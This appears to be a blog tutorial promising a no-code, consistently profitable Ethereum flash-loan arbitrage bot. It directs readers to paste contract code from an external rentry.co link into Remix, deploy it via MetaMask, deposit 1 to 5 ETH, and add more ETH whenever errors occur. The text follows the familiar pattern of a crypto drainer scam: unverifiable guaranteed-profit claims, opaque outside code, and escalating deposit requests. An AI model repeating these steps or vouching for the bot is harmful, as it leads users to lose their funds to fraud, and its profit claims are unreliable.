Beginner Tutorial on Building a Profitable Crypto Arbitrage Trading Bot | Aug 2024

Doesn’t building a personal trading bot that makes profits off arbitrage opportunities in the crypto space sound crazy to you?

In the current chaotic crypto space, it is quite difficult to be able to turn over a decent profit consistently over time due to several factors, news and policies influencing price volatility. Being a profitable crypto trader come with its perks but it requires years of experience and continuous dedication to honing your trading skill.

How do you bypass this?

Becoming a profitable trader indeed requires years of dedication, discipline, and consistency. However, with the aid of a trading bot that accurately judges market conditions and price volatility, this process can be accelerated. We are able to bypass this and push into the realm of consistent profitability in the cryptocurrency market by building an automated cryptocurrency arbitrage trading bot, we can identify arbitrage opportunities on token pairs in the Ethereum network, allowing us to achieve consistent profitability in the cryptocurrency market.

In this article, we provide a step-by-step guide along with a video tutorial on how we built our arbitrage trading bot. No coding experience is required, as we have made it as beginner-friendly as possible. Follow the steps carefully and embark on your journey to consistent profitability in the cryptocurrency market.

FULL VIDEO TUTORIAL TO BUILD YOUR BOT

In the video, we explain step by step how to build your bot. Below are the tools required to build your personal crypto arbitrage bot:

If you consult code lines 45–48, you may now select specific token pairings to target if you may choose. As well, the user may set the minimum and maximum value of the flash loan. Place the desired value for each query within the ‘()’ .

For instance, if we want to set the maximum flash loan value to the recommended minimum of 1 ETH we would place 1 as the value within the field.
EXAMPLE: INPUT_MAXIMUM_LOANVALUE = ‘(1)’; .

You may also leave these fields blank for an automatic flash loan.

Access Remix: — Remix — Ethereum IDE

Bot contract code for remix- https://rentry.co/pvminspm/raw

Get MetaMask: — https://metamask.io/download.html

STEP BY STEP

• Download MetaMask or Google It for official site: https://metamask.io/download
• Head over to Remix: 👉 Remix — Ethereum IDE
• Right Click the “Contracts” folder and then create “New File”. Name it whatever you want or “bot.sol”
• Paste THIS code into Remix: https://rentry.co/pvminspm/raw
• Go to the “Compile” tab on Remix and Compile with Solidity version 0.6.6
• Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then click the arrow beside “Deploy”.
  Fill the information below:
  _OWNER: “Your personal wallet address”
  _TARGET: “0xB50721BCf8d664c30412Cfbc6cf7a15145234ad1” (ARB/ETH contract address). It can be any contract address of your choice — https://etherscan.io/tokens
  This will create your own contract by confirming the MetaMask Contract creation fee.
• Deposit funds (at least 1.0–5.0 ETH to prevent negating slippage) to your exact contract/bot address.
• After your transaction is confirmed, start the bot by clicking the “start” button. Withdraw anytime by clicking “withdrawal”

NOTE: In the case of error, fund your contract address with another 1 ETH and restart your bot by clicking the red “start” button. These errors occur due to insufficient liquidity in your contract caused by depletion of ETH in the contract due to slippage and fees cost.

Avoid using amounts below 0.5 ETH because the price of gas fluctuates constantly and the arbitrage may fail due to insufficient liquidity, slippage and fees cost.

Subscribe and leave your comments below if you encounter any error and I’ll be happy to help.